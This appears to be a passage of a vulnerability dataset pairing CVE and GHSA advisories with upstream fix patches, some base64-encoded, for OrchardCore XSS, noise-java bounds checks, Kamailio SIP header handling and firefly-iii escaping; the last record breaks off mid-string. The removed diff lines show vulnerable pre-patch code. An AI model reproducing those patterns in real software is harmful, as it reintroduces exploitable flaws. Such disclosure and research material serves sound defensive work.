+            IHtmlSanitizerService htmlSanitizerService,
+            HtmlEncoder htmlencoder
+            )
+        {
+            _urlHelperFactory = urlHelperFactory;
+            _actionContextAccessor = actionContextAccessor; 
+            _htmlSanitizerService = htmlSanitizerService;
+            _htmlencoder = htmlencoder;
+            S = localizer;
+        }
 
         public override IDisplayResult Display(LinkMenuItemPart part, BuildPartDisplayContext context)
         {
@@ -45,11 +71,42 @@ public override async Task<IDisplayResult> UpdateAsync(LinkMenuItemPart part, IU
             {
                 part.Url = model.Url;
                 part.ContentItem.DisplayText = model.Name;
+
                 // This code can be removed in a later release.
 #pragma warning disable 0618
                 part.Name = model.Name;
 #pragma warning restore 0618
+
+                var urlToValidate = part.Url;
+
+                if (!String.IsNullOrEmpty(urlToValidate))
+                {
+                    urlToValidate = urlToValidate.Split('#', 2)[0];
+
+                    if (urlToValidate.StartsWith("~/", StringComparison.Ordinal))
+                    {
+                        var urlHelper = _urlHelperFactory.GetUrlHelper(_actionContextAccessor.ActionContext);
+                        urlToValidate = urlHelper.Content(urlToValidate);
+                    }
+
+                    urlToValidate = urlToValidate.ToUriComponents();
+
+                    if (!Uri.IsWellFormedUriString(urlToValidate, UriKind.RelativeOrAbsolute))
+                    {
+                        updater.ModelState.AddModelError(nameof(part.Url), S["{0} is an invalid url.", part.Url]);
+                    }
+                    else
+                    {
+                        var link = $"<a href=\"{_htmlencoder.Encode(urlToValidate)}\"></a>";
+
+                        if (!String.Equals(link, _htmlSanitizerService.Sanitize(link), StringComparison.OrdinalIgnoreCase))
+                        {
+                            updater.ModelState.AddModelError(nameof(part.Url), S["{0} is an invalid url.", part.Url]);
+                        }
+                    }
+                }
             }
+
             return Edit(part);
         }
     }
diff --git a/src/OrchardCore.Modules/OrchardCore.Users/Workflows/Activities/RegisterUserTask.cs b/src/OrchardCore.Modules/OrchardCore.Users/Workflows/Activities/RegisterUserTask.cs
index 0b1ff322245..39d0b738430 100644
--- a/src/OrchardCore.Modules/OrchardCore.Users/Workflows/Activities/RegisterUserTask.cs
+++ b/src/OrchardCore.Modules/OrchardCore.Users/Workflows/Activities/RegisterUserTask.cs
@@ -134,15 +134,14 @@ public override async Task<ActivityExecutionResult> ExecuteAsync(WorkflowExecuti
                     workflowContext.Properties["EmailConfirmationUrl"] = uri;
 
                     var subject = await _expressionEvaluator.EvaluateAsync(ConfirmationEmailSubject, workflowContext, null);
-                    var localizedSubject = new LocalizedString(nameof(RegisterUserTask), subject);
 
                     var body = await _expressionEvaluator.EvaluateAsync(ConfirmationEmailTemplate, workflowContext, _htmlEncoder);
-                    var localizedBody = new LocalizedHtmlString(nameof(RegisterUserTask), body);
+
                     var message = new MailMessage()
                     {
                         To = email,
-                        Subject = localizedSubject.ResourceNotFound ? subject : localizedSubject.Value,
-                        Body = localizedBody.IsResourceNotFound ? body : localizedBody.Value,
+                        Subject = subject,
+                        Body = body,
                         IsBodyHtml = true
                     };
                     var smtpService = _httpContextAccessor.HttpContext.RequestServices.GetService<ISmtpService>();
diff --git a/src/OrchardCore.Modules/OrchardCore.Workflows/Activities/NotifyTask.cs b/src/OrchardCore.Modules/OrchardCore.Workflows/Activities/NotifyTask.cs
index 412fe8b034a..20e936fcfd5 100644
--- a/src/OrchardCore.Modules/OrchardCore.Workflows/Activities/NotifyTask.cs
+++ b/src/OrchardCore.Modules/OrchardCore.Workflows/Activities/NotifyTask.cs
@@ -55,6 +55,8 @@ public override IEnumerable<Outcome> GetPossibleOutcomes(WorkflowExecutionContex
         public override async Task<ActivityExecutionResult> ExecuteAsync(WorkflowExecutionContext workflowContext, ActivityContext activityContext)
         {
             var message = await _expressionEvaluator.EvaluateAsync(Message, workflowContext, _htmlEncoder);
+
+            // The notification message can contain HTML by design
             await _notifier.AddAsync(NotificationType, new LocalizedHtmlString(nameof(NotifyTask), message));
 
             return Outcomes("Done");
diff --git a/src/OrchardCore.Modules/OrchardCore.Workflows/Views/Items/UserTaskEvent.Fields.Design.cshtml b/src/OrchardCore.Modules/OrchardCore.Workflows/Views/Items/UserTaskEvent.Fields.Design.cshtml
index e34b1591331..41e929c0013 100644
--- a/src/OrchardCore.Modules/OrchardCore.Workflows/Views/Items/UserTaskEvent.Fields.Design.cshtml
+++ b/src/OrchardCore.Modules/OrchardCore.Workflows/Views/Items/UserTaskEvent.Fields.Design.cshtml
@@ -8,7 +8,7 @@
 @if (Model.Activity.Actions.Any())
 {
     <span>@T["Request any user action of <em>{0}</em>", string.Join(", ", Model.Activity.Actions)]</span><br />
-    <span>@T["Required roles: <em>{0}</em>", Model.Activity.Roles.Any() ? new LocalizedHtmlString("RequiredRoles", string.Join(", ", Model.Activity.Roles)) : T["Any"]]</span>
+    <span>@T["Required roles: <em>{0}</em>", Model.Activity.Roles.Any() ? Html.Raw(Html.Encode(string.Join(", ", Model.Activity.Roles))) : T["Any"]]</span>
 }
 else
 {
diff --git a/src/OrchardCore.Modules/OrchardCore.Workflows/Views/Workflow/Details.cshtml b/src/OrchardCore.Modules/OrchardCore.Workflows/Views/Workflow/Details.cshtml
index 32988dfe651..517b588ad5f 100644
--- a/src/OrchardCore.Modules/OrchardCore.Workflows/Views/Workflow/Details.cshtml
+++ b/src/OrchardCore.Modules/OrchardCore.Workflows/Views/Workflow/Details.cshtml
@@ -44,7 +44,7 @@
                     </div>
                     <div class="col">
                         <label>@T["Status"]</label>
-                        <span>@Model.Workflow.Status.GetLocalizedStatus(T)</span>
+                        <span>@T.GetLocalizedStatus(Model.Workflow.Status)</span>
                     </div>
                     @if (Model.Workflow.Status == WorkflowStatus.Faulted)
                     {
diff --git a/src/OrchardCore.Modules/OrchardCore.Workflows/Views/Workflow/Index.cshtml b/src/OrchardCore.Modules/OrchardCore.Workflows/Views/Workflow/Index.cshtml
index 3d3ea9e158a..7b5dd404c63 100644
--- a/src/OrchardCore.Modules/OrchardCore.Workflows/Views/Workflow/Index.cshtml
+++ b/src/OrchardCore.Modules/OrchardCore.Workflows/Views/Workflow/Index.cshtml
@@ -104,7 +104,7 @@
                                 <span class="hint">@T["Created {0}", (object)(await DisplayAsync(await New.TimeSpan(Utc: entry.Workflow.CreatedUtc)))]</span>
                                 <div class="info">
                                     <span class="badge badge-@statusCss">
-                                        @entry.Workflow.Status.GetLocalizedStatus(T)
+                                        @T.GetLocalizedStatus(entry.Workflow.Status)
                                     </span>
                                 </div>
                             </div>
diff --git a/src/OrchardCore/OrchardCore.Workflows.Abstractions/Helpers/ActivityExtensions.cs b/src/OrchardCore/OrchardCore.Workflows.Abstractions/Helpers/ActivityExtensions.cs
index f471aeb3632..7cfe4fa2091 100644
--- a/src/OrchardCore/OrchardCore.Workflows.Abstractions/Helpers/ActivityExtensions.cs
+++ b/src/OrchardCore/OrchardCore.Workflows.Abstractions/Helpers/ActivityExtensions.cs
@@ -8,8 +8,6 @@ namespace OrchardCore.Workflows.Helpers
 {
     public static class ActivityExtensions
     {
-        private static IHtmlLocalizer H;
-
         public static bool IsEvent(this IActivity activity)
         {
             return activity is IEvent;
@@ -18,14 +16,16 @@ public static bool IsEvent(this IActivity activity)
         public static LocalizedHtmlString GetTitleOrDefault(this IActivity activity, Func<LocalizedHtmlString> defaultTitle)
         {
             var title = activity.As<ActivityMetadata>().Title;
-            return !string.IsNullOrEmpty(title) ? new LocalizedHtmlString(title, title) : defaultTitle();
+
+            // A string used in LocalizedHtmlString won't be encoded so it needs to be pre-encoded.
+            // Passing the title as an argument so it uses the HtmlEncoder when rendered
+            // Another options would be to use new LocalizedHtmlString(Html.Encode(title)) but it's not available in the current context
+
+            return !string.IsNullOrEmpty(title) ? new LocalizedHtmlString(nameof(ActivityExtensions.GetTitleOrDefault), "{0}", false, title) : defaultTitle();
         }
 
-        public static LocalizedHtmlString GetLocalizedStatus(this WorkflowStatus status, IHtmlLocalizer localizer)
+        public static LocalizedHtmlString GetLocalizedStatus(this IHtmlLocalizer H, WorkflowStatus status)
         {
-            // Field for PoExtractor compatibility
-            H = localizer;
-
             return status switch
             {
                 WorkflowStatus.Aborted => H["Aborted"],
@@ -36,7 +36,7 @@ public static LocalizedHtmlString GetLocalizedStatus(this WorkflowStatus status,
                 WorkflowStatus.Idle => H["Idle"],
                 WorkflowStatus.Resuming => H["Resuming"],
                 WorkflowStatus.Starting => H["Starting"],
-                _ => new LocalizedHtmlString(status.ToString(), status.ToString()),
+                _ => throw new NotSupportedException(),
             };
         }
     }", "url": "https://github.com/orchardcms/orchardcore/commit/218f25ddfadb66a54de7a82dffe3ab2e4ab7c4b4.patch" } ]
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
GHSA-2886-fxgx-g9vm
null
[ { "commit_message": "[PATCH] Improve array bounds checks in CipherState implementations Thanks to Pietro Oliva for identifying these issues. .gitignore | 1 + .../protocol/AESGCMFallbackCipherState.java | 20 +++++++++---------- .../protocol/AESGCMOnCtrCipherState.java | 20 +++++++++---------- .../noise/protocol/ChaChaPolyCipherState.java | 20 +++++++++---------- .../noise/protocol/CipherState.java | 4 ++++ 5 files changed, 35 insertions(+), 30 deletions(-)", "patch_text_b64": "From 18e86b6f8bea7326934109aa9ffa705ebf4bde90 Mon Sep 17 00:00:00 2001
From: Rhys Weatherley <rhys.weatherley@gmail.com>
Date: Sat, 29 Aug 2020 07:59:27 +1000
Subject: [PATCH] Improve array bounds checks in CipherState implementations

Thanks to Pietro Oliva for identifying these issues.
---
 .gitignore                                    |  1 +
 .../protocol/AESGCMFallbackCipherState.java   | 20 +++++++++----------
 .../protocol/AESGCMOnCtrCipherState.java      | 20 +++++++++----------
 .../noise/protocol/ChaChaPolyCipherState.java | 20 +++++++++----------
 .../noise/protocol/CipherState.java           |  4 ++++
 5 files changed, 35 insertions(+), 30 deletions(-)

diff --git a/.gitignore b/.gitignore
index 7f3fdcd..9081256 100644
--- a/.gitignore
+++ b/.gitignore
@@ -3,3 +3,4 @@ target
 .metadata
 .project
 doc
+*.class
diff --git a/src/main/java/com/southernstorm/noise/protocol/AESGCMFallbackCipherState.java b/src/main/java/com/southernstorm/noise/protocol/AESGCMFallbackCipherState.java
index 7cd2b74..f627be3 100644
--- a/src/main/java/com/southernstorm/noise/protocol/AESGCMFallbackCipherState.java
+++ b/src/main/java/com/southernstorm/noise/protocol/AESGCMFallbackCipherState.java
@@ -185,10 +185,11 @@ public int encryptWithAd(byte[] ad, byte[] plaintext, int plaintextOffset,
 			byte[] ciphertext, int ciphertextOffset, int length)
 			throws ShortBufferException {
 		int space;
-		if (ciphertextOffset > ciphertext.length)
-			space = 0;
-		else
-			space = ciphertext.length - ciphertextOffset;
+		if (ciphertextOffset < 0 || ciphertextOffset > ciphertext.length)
+			throw new IllegalArgumentException();
+		if (length < 0 || plaintextOffset < 0 || plaintextOffset > plaintext.length)
+			throw new IllegalArgumentException();
+		space = ciphertext.length - ciphertextOffset;
 		if (!haskey) {
 			// The key is not set yet - return the plaintext as-is.
 			if (length > space)
@@ -214,16 +215,15 @@ public int decryptWithAd(byte[] ad, byte[] ciphertext,
 			int ciphertextOffset, byte[] plaintext, int plaintextOffset,
 			int length) throws ShortBufferException, BadPaddingException {
 		int space;
-		if (ciphertextOffset > ciphertext.length)
-			space = 0;
+		if (ciphertextOffset < 0 || ciphertextOffset > ciphertext.length)
+			throw new IllegalArgumentException();
 		else
 			space = ciphertext.length - ciphertextOffset;
 		if (length > space)
 			throw new ShortBufferException();
-		if (plaintextOffset > plaintext.length)
-			space = 0;
-		else
-			space = plaintext.length - plaintextOffset;
+		if (length < 0 || plaintextOffset < 0 || plaintextOffset > plaintext.length)
+			throw new IllegalArgumentException();
+		space = plaintext.length - plaintextOffset;
 		if (!haskey) {
 			// The key is not set yet - return the ciphertext as-is.
 			if (length > space)
diff --git a/src/main/java/com/southernstorm/noise/protocol/AESGCMOnCtrCipherState.java b/src/main/java/com/southernstorm/noise/protocol/AESGCMOnCtrCipherState.java
index deada67..df40945 100644
--- a/src/main/java/com/southernstorm/noise/protocol/AESGCMOnCtrCipherState.java
+++ b/src/main/java/com/southernstorm/noise/protocol/AESGCMOnCtrCipherState.java
@@ -218,10 +218,11 @@ public int encryptWithAd(byte[] ad, byte[] plaintext, int plaintextOffset,
 			byte[] ciphertext, int ciphertextOffset, int length)
 			throws ShortBufferException {
 		int space;
-		if (ciphertextOffset > ciphertext.length)
-			space = 0;
-		else
-			space = ciphertext.length - ciphertextOffset;
+		if (ciphertextOffset < 0 || ciphertextOffset > ciphertext.length)
+			throw new IllegalArgumentException();
+		if (length < 0 || plaintextOffset < 0 || plaintextOffset > plaintext.length)
+			throw new IllegalArgumentException();
+		space = ciphertext.length - ciphertextOffset;
 		if (keySpec == null) {
 			// The key is not set yet - return the plaintext as-is.
 			if (length > space)
@@ -262,16 +263,15 @@ public int decryptWithAd(byte[] ad, byte[] ciphertext,
 			int ciphertextOffset, byte[] plaintext, int plaintextOffset,
 			int length) throws ShortBufferException, BadPaddingException {
 		int space;
-		if (ciphertextOffset > ciphertext.length)
-			space = 0;
+		if (ciphertextOffset < 0 || ciphertextOffset > ciphertext.length)
+			throw new IllegalArgumentException();
 		else
 			space = ciphertext.length - ciphertextOffset;
 		if (length > space)
 			throw new ShortBufferException();
-		if (plaintextOffset > plaintext.length)
-			space = 0;
-		else
-			space = plaintext.length - plaintextOffset;
+		if (length < 0 || plaintextOffset < 0 || plaintextOffset > plaintext.length)
+			throw new IllegalArgumentException();
+		space = plaintext.length - plaintextOffset;
 		if (keySpec == null) {
 			// The key is not set yet - return the ciphertext as-is.
 			if (length > space)
diff --git a/src/main/java/com/southernstorm/noise/protocol/ChaChaPolyCipherState.java b/src/main/java/com/southernstorm/noise/protocol/ChaChaPolyCipherState.java
index 25b1a4c..40ce2bc 100644
--- a/src/main/java/com/southernstorm/noise/protocol/ChaChaPolyCipherState.java
+++ b/src/main/java/com/southernstorm/noise/protocol/ChaChaPolyCipherState.java
@@ -214,10 +214,11 @@ private void encrypt(byte[] plaintext, int plaintextOffset,
 	public int encryptWithAd(byte[] ad, byte[] plaintext, int plaintextOffset,
 			byte[] ciphertext, int ciphertextOffset, int length) throws ShortBufferException {
 		int space;
-		if (ciphertextOffset > ciphertext.length)
-			space = 0;
-		else
-			space = ciphertext.length - ciphertextOffset;
+		if (ciphertextOffset < 0 || ciphertextOffset > ciphertext.length)
+			throw new IllegalArgumentException();
+		if (length < 0 || plaintextOffset < 0 || plaintextOffset > plaintext.length)
+			throw new IllegalArgumentException();
+		space = ciphertext.length - ciphertextOffset;
 		if (!haskey) {
 			// The key is not set yet - return the plaintext as-is.
 			if (length > space)
@@ -241,16 +242,15 @@ public int decryptWithAd(byte[] ad, byte[] ciphertext,
 			int ciphertextOffset, byte[] plaintext, int plaintextOffset,
 			int length) throws ShortBufferException, BadPaddingException {
 		int space;
-		if (ciphertextOffset > ciphertext.length)
-			space = 0;
+		if (ciphertextOffset < 0 || ciphertextOffset > ciphertext.length)
+			throw new IllegalArgumentException();
 		else
 			space = ciphertext.length - ciphertextOffset;
 		if (length > space)
 			throw new ShortBufferException();
-		if (plaintextOffset > plaintext.length)
-			space = 0;
-		else
-			space = plaintext.length - plaintextOffset;
+		if (length < 0 || plaintextOffset < 0 || plaintextOffset > plaintext.length)
+			throw new IllegalArgumentException();
+		space = plaintext.length - plaintextOffset;
 		if (!haskey) {
 			// The key is not set yet - return the ciphertext as-is.
 			if (length > space)
diff --git a/src/main/java/com/southernstorm/noise/protocol/CipherState.java b/src/main/java/com/southernstorm/noise/protocol/CipherState.java
index 3168139..74f808b 100644
--- a/src/main/java/com/southernstorm/noise/protocol/CipherState.java
+++ b/src/main/java/com/southernstorm/noise/protocol/CipherState.java
@@ -100,6 +100,8 @@ public interface CipherState extends Destroyable {
 	 * 
 	 * @throws IllegalStateException The nonce has wrapped around.
 	 * 
+	 * @throws IllegalArgumentException One of the parameters is out of range.
+	 *
 	 * The plaintext and ciphertext buffers can be the same for in-place
 	 * encryption.  In that case, plaintextOffset must be identical to
 	 * ciphertextOffset.
@@ -130,6 +132,8 @@ public interface CipherState extends Destroyable {
 	 * 
 	 * @throws IllegalStateException The nonce has wrapped around.
 	 * 
+	 * @throws IllegalArgumentException One of the parameters is out of range.
+	 *
 	 * The plaintext and ciphertext buffers can be the same for in-place
 	 * decryption.  In that case, ciphertextOffset must be identical to
 	 * plaintextOffset.", "url": "https://github.com/rweather/noise-java/commit/18e86b6f8bea7326934109aa9ffa705ebf4bde90.patch" } ]
null
CVE-2020-27507
The Kamailio SIP before 5.5.0 server mishandles INVITE requests with duplicated fields and overlength tag, leading to a buffer overflow that crashes the server or possibly have unspecified other impact.
[ { "commit_message": "[PATCH] tm: do not add duplicate headers in local requests src/modules/tm/t_msgbuilder.c | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+)", "patch_text_b64": "RnJvbSBhZGEzNzAxZDIyYjFmZDU3OWYwNmI0ZjU0ZmE2OTVmYTk4OGU2ODVmIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBEYW5pZWwtQ29uc3RhbnRpbiBNaWVybGEgPG1pY29uZGFAZ21haWwuY29tPgpEYXRlOiBGcmksIDkgT2N0IDIwMjAgMjI6MTU6MTIgKzAyMDAKU3ViamVjdDogW1BBVENIXSB0bTogZG8gbm90IGFkZCBkdXBsaWNhdGUgaGVhZGVycyBpbiBsb2NhbCByZXF1ZXN0cwoKLS0tCiBzcmMvbW9kdWxlcy90bS90X21zZ2J1aWxkZXIuYyB8IDMxICsrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysKIDEgZmlsZSBjaGFuZ2VkLCAzMSBpbnNlcnRpb25zKCspCgpkaWZmIC0tZ2l0IGEvc3JjL21vZHVsZXMvdG0vdF9tc2didWlsZGVyLmMgYi9zcmMvbW9kdWxlcy90bS90X21zZ2J1aWxkZXIuYwppbmRleCBiZDc1YjI3MWJlNy4uY2RhODRiNmY1ZGUgMTAwNjQ0Ci0tLSBhL3NyYy9tb2R1bGVzL3RtL3RfbXNnYnVpbGRlci5jCisrKyBiL3NyYy9tb2R1bGVzL3RtL3RfbXNnYnVpbGRlci5jCkBAIC0yNjgsNiArMjY4LDcgQEAgY2hhciAqYnVpbGRfbG9jYWxfcmVwYXJzZSh0bV9jZWxsX3QgKlRyYW5zLHVuc2lnbmVkIGludCBicmFuY2gsCiAJc3RydWN0IGhkcl9maWVsZCAqcmVhczEsICpyZWFzX2xhc3QsICpoZHI7CiAJaW50IGhhZGRlZCA9IDA7CiAJc3JfY2ZnZW52X3QgKmNlbnYgPSBOVUxMOworCWhkcl9mbGFnc190IGhkcl9mbGFncyA9IDA7CiAKIAlpbnZpdGVfYnVmID0gVHJhbnMtPnVhY1ticmFuY2hdLnJlcXVlc3QuYnVmZmVyOwogCWludml0ZV9sZW4gPSBUcmFucy0+dWFjW2JyYW5jaF0ucmVxdWVzdC5idWZmZXJfbGVuOwpAQCAtMzYxLDYgKzM2MiwxMSBAQCBjaGFyICpidWlsZF9sb2NhbF9yZXBhcnNlKHRtX2NlbGxfdCAqVHJhbnMsdW5zaWduZWQgaW50IGJyYW5jaCwKIAkJc3dpdGNoKGhmX3R5cGUpIHsKIAkJCWNhc2UgSERSX0NTRVFfVDoKIAkJCQkvKiBmaW5kIHRoZSBtZXRob2QgbmFtZSBhbmQgcmVwbGFjZSBpdCAqLworCQkJCWlmKGhkcl9mbGFncyAmICBIRFJfQ1NFUV9GKSB7CisJCQkJCUxNX0RCRygiZHVwbGljYXRlIENTZXEgaGVhZGVyXG4iKTsKKwkJCQkJZ290byBlcnJvcmhkcjsKKwkJCQl9CisJCQkJaGRyX2ZsYWdzIHw9ICBIRFJfQ1NFUV9GOwogCQkJCXdoaWxlICgocyA8IGludml0ZV9idWZfZW5kKQogCQkJCQkmJiAoKCpzID09ICc6JykgfHwgKCpzID09ICcgJykgfHwgKCpzID09ICdcdCcpIHx8CiAJCQkJCQkoKCpzID49ICcwJykgJiYgKCpzIDw9ICc5JykpKQpAQCAtMzgxLDYgKzM4NywxMiBAQCBjaGFyICpidWlsZF9sb2NhbF9yZXBhcnNlKHRtX2NlbGxfdCAqVHJhbnMsdW5zaWduZWQgaW50IGJyYW5jaCwKIAkJCQlicmVhazsKIAogCQkJY2FzZSBIRFJfVE9fVDoKKwkJCQlpZihoZHJfZmxhZ3MgJiAgSERSX1RPX0YpIHsKKwkJCQkJTE1fREJHKCJkdXBsaWNhdGUgVG8gaGVhZGVyXG4iKTsKKwkJCQkJZ290byBlcnJvcmhkcjsKKwkJCQl9CisJCQkJaGRyX2ZsYWdzIHw9ICBIRFJfVE9fRjsKKwogCQkJCWlmICh0b19sZW4gPT0gMCkgewogCQkJCQkvKiB0aGVyZSBpcyBubyBUbyB0YWcgcmVxdWlyZWQsIGp1c3QgY29weSBwYXN0ZQogCQkJCQkgKiB0aGUgaGVhZGVyICovCkBAIC0zOTUsNyArNDA3LDI1IEBAIGNoYXIgKmJ1aWxkX2xvY2FsX3JlcGFyc2UodG1fY2VsbF90ICpUcmFucyx1bnNpZ25lZCBpbnQgYnJhbmNoLAogCQkJCWJyZWFrOwogCiAJCQljYXNlIEhEUl9GUk9NX1Q6CisJCQkJLyogY29weSBoZiAqLworCQkJCWlmKGhkcl9mbGFncyAmICBIRFJfRlJPTV9GKSB7CisJCQkJCUxNX0RCRygiZHVwbGljYXRlIEZyb20gaGVhZGVyXG4iKTsKKwkJCQkJZ290byBlcnJvcmhkcjsKKwkJCQl9CisJCQkJaGRyX2ZsYWdzIHw9ICBIRFJfRlJPTV9GOworCQkJCXMgPSBsd19uZXh0X2xpbmUocywgaW52aXRlX2J1Zl9lbmQpOworCQkJCWFwcGVuZF9zdHIoZCwgczEsIHMgLSBzMSk7CisJCQkJYnJlYWs7CiAJCQljYXNlIEhEUl9DQUxMSURfVDoKKwkJCQkvKiBjb3B5IGhmICovCisJCQkJaWYoaGRyX2ZsYWdzICYgIEhEUl9DQUxMSURfRikgeworCQkJCQlMTV9EQkcoImR1cGxpY2F0ZSBDYWxsLUlkIGhlYWRlclxuIik7CisJCQkJCWdvdG8gZXJyb3JoZHI7CisJCQkJfQorCQkJCWhkcl9mbGFncyB8PSAgSERSX0NBTExJRF9GOworCQkJCXMgPSBsd19uZXh0X2xpbmUocywgaW52aXRlX2J1Zl9lbmQpOworCQkJCWFwcGVuZF9zdHIoZCwgczEsIHMgLSBzMSk7CisJCQkJYnJlYWs7CiAJCQljYXNlIEhEUl9ST1VURV9UOgogCQkJY2FzZSBIRFJfTUFYRk9SV0FSRFNfVDoKIAkJCQkvKiBjb3B5IGhmICovCkBAIC00OTUsNiArNTI1LDcgQEAgY2hhciAqYnVpbGRfbG9jYWxfcmVwYXJzZSh0bV9jZWxsX3QgKlRyYW5zLHVuc2lnbmVkIGludCBicmFuY2gsCiAJLyogSERSX0VPSF9UIHdhcyBub3QgZm91bmQgaW4gdGhlIGJ1ZmZlciwgdGhlIG1lc3NhZ2UgaXMgY29ycnVwdCAqLwogCUxNX0VSUigiSERSX0VPSF9UIHdhcyBub3QgZm91bmRcbiIpOwogCitlcnJvcmhkcjoKIAlzaG1fZnJlZShjYW5jZWxfYnVmKTsKIGVycm9yOgogCUxNX0VSUigiY2Fubm90IGJ1aWxkICUuKnMgcmVxdWVzdFxuIiwgbWV0aG9kX2xlbiwgbWV0aG9kKTs=", "url": "https://github.com/kamailio/kamailio/commit/ada3701d22b1fd579f06b4f54fa695fa988e685f.patch" } ]
n/a
CVE-2023-1789
Improper Input Validation in firefly-iii/firefly-iii
Improper Input Validation in GitHub repository firefly-iii/firefly-iii prior to 6.0.0.
[ { "commit_message": "[PATCH] Catch escape in currencies app/Factory/TransactionCurrencyFactory.php | 7 ++++++- app/Services/Internal/Update/CurrencyUpdateService.php | 10 +++++----- 2 files changed, 11 insertions(+), 6 deletions(-)", "patch_text_b64": "RnJvbSAwNjY3Y2NmYzk4OWM0NDI2YTlhMzdjODlkNGM0Yjc2OWE5MDA1ZWFiIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBKYW1lcyBDb2xlIDxqYW1lc0BmaXJlZmx5LWlpaS5vcmc+CkRhdGU6IEZyaSwgMTcgRmViIDIwMjMgMDU6NDk6NTQgKzAxMDAKU3ViamVjdDogW1BBVENIXSBDYXRjaCBlc2NhcGUgaW4gY3VycmVuY2llcwoKLS0tCiBhcHAvRmFjdG9yeS9UcmFuc2FjdGlvbkN1cnJlbmN5RmFjdG9yeS5waHAgICAgICAgICAgICAgfCAgNyArKysrKystCiBhcHAvU2VydmljZXMvSW50ZXJuYWwvVXBkYXRlL0N1cnJlbmN5VXBkYXRlU2VydmljZS5waHAgfCAxMCArKysrKy0tLS0tCiAyIGZpbGVzIGNoYW5nZWQsIDExIGluc2VydGlvbnMoKyksIDYgZGVsZXRpb25zKC0pCgpkaWZmIC0tZ2l0IGEvYXBwL0ZhY3RvcnkvVHJhbnNhY3Rpb25DdXJyZW5jeUZhY3RvcnkucGhwIGIvYXBwL0ZhY3RvcnkvVHJhbnNhY3Rpb25DdXJyZW5jeUZhY3RvcnkucGhwCmluZGV4IDAwNjhlNjMzNTIxLi45Y2M5YzlmMjY1ZCAxMDA2NDQKLS0tIGEvYXBwL0ZhY3RvcnkvVHJhbnNhY3Rpb25DdXJyZW5jeUZhY3RvcnkucGhwCisrKyBiL2FwcC9GYWN0b3J5L1RyYW5zYWN0aW9uQ3VycmVuY3lGYWN0b3J5LnBocApAQCAtNDEsNiArNDEsMTEgQEAgY2xhc3MgVHJhbnNhY3Rpb25DdXJyZW5jeUZhY3RvcnkKICAgICAgKi8KICAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlKGFycmF5ICRkYXRhKTogVHJhbnNhY3Rpb25DdXJyZW5jeQogICAgIHsKKyAgICAgICAgJGRhdGFbJ2NvZGUnXSAgICAgICAgICAgPSBlKCRkYXRhWydjb2RlJ10pOworICAgICAgICAkZGF0YVsnc3ltYm9sJ10gICAgICAgICA9IGUoJGRhdGFbJ3N5bWJvbCddKTsKKyAgICAgICAgJGRhdGFbJ25hbWUnXSAgICAgICAgICAgPSBlKCRkYXRhWyduYW1lJ10pOworICAgICAgICAkZGF0YVsnZGVjaW1hbF9wbGFjZXMnXSA9IChpbnQpJGRhdGFbJ2RlY2ltYWxfcGxhY2VzJ107CisgICAgICAgICRkYXRhWydlbmFibGVkJ10gICAgICAgID0gKGJvb2wpJGRhdGFbJ2VuYWJsZWQnXTsKICAgICAgICAgLy8gaWYgdGhlIGNvZGUgYWxyZWFkeSBleGlzdHMgKGRlbGV0ZWQpCiAgICAgICAgIC8vIGZvcmNlIGRlbGV0ZSBpdCBhbmQgdGhlbiBjcmVhdGUgdGhlIHRyYW5zYWN0aW9uOgogICAgICAgICAkY291bnQgPSBUcmFuc2FjdGlvbkN1cnJlbmN5Ojp3aXRoVHJhc2hlZCgpLT53aGVyZUNvZGUoJGRhdGFbJ2NvZGUnXSktPmNvdW50KCk7CkBAIC03OCw3ICs4Myw3IEBAIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGUoYXJyYXkgJGRhdGEpOiBUcmFuc2FjdGlvbkN1cnJlbmN5CiAgICAgICovCiAgICAgcHVibGljIGZ1bmN0aW9uIGZpbmQoP2ludCAkY3VycmVuY3lJZCwgP3N0cmluZyAkY3VycmVuY3lDb2RlKTogP1RyYW5zYWN0aW9uQ3VycmVuY3kKICAgICB7Ci0gICAgICAgICRjdXJyZW5jeUNvZGUgPSAoc3RyaW5nKSRjdXJyZW5jeUNvZGU7CisgICAgICAgICRjdXJyZW5jeUNvZGUgPSAoc3RyaW5nKWUoJGN1cnJlbmN5Q29kZSk7CiAgICAgICAgICRjdXJyZW5jeUlkICAgPSAoaW50KSRjdXJyZW5jeUlkOwogCiAgICAgICAgIGlmICgnJyA9PT0gJGN1cnJlbmN5Q29kZSAmJiAwID09PSAkY3VycmVuY3lJZCkgewpkaWZmIC0tZ2l0IGEvYXBwL1NlcnZpY2VzL0ludGVybmFsL1VwZGF0ZS9DdXJyZW5jeVVwZGF0ZVNlcnZpY2UucGhwIGIvYXBwL1NlcnZpY2VzL0ludGVybmFsL1VwZGF0ZS9DdXJyZW5jeVVwZGF0ZVNlcnZpY2UucGhwCmluZGV4IGFkNWYyMTdkYWZhLi5mN2UxNmFjYjAxNCAxMDA2NDQKLS0tIGEvYXBwL1NlcnZpY2VzL0ludGVybmFsL1VwZGF0ZS9DdXJyZW5jeVVwZGF0ZVNlcnZpY2UucGhwCisrKyBiL2FwcC9TZXJ2aWNlcy9JbnRlcm5hbC9VcGRhdGUvQ3VycmVuY3lVcGRhdGVTZXJ2aWNlLnBocApAQCAtNDEsMjMgKzQxLDIzIEBAIGNsYXNzIEN1cnJlbmN5VXBkYXRlU2VydmljZQogICAgIHB1YmxpYyBmdW5jdGlvbiB1cGRhdGUoVHJhbnNhY3Rpb25DdXJyZW5jeSAkY3VycmVuY3ksIGFycmF5ICRkYXRhKTogVHJhbnNhY3Rpb25DdXJyZW5jeQogICAgIHsKICAgICAgICAgaWYgKGFycmF5X2tleV9leGlzdHMoJ2NvZGUnLCAkZGF0YSkgJiYgJycgIT09IChzdHJpbmcpJGRhdGFbJ2NvZGUnXSkgewotICAgICAgICAgICAgJGN1cnJlbmN5LT5jb2RlID0gJGRhdGFbJ2NvZGUnXTsKKyAgICAgICAgICAgICRjdXJyZW5jeS0+Y29kZSA9IGUoJGRhdGFbJ2NvZGUnXSk7CiAgICAgICAgIH0KIAogICAgICAgICBpZiAoYXJyYXlfa2V5X2V4aXN0cygnc3ltYm9sJywgJGRhdGEpICYmICcnICE9PSAoc3RyaW5nKSRkYXRhWydzeW1ib2wnXSkgewotICAgICAgICAgICAgJGN1cnJlbmN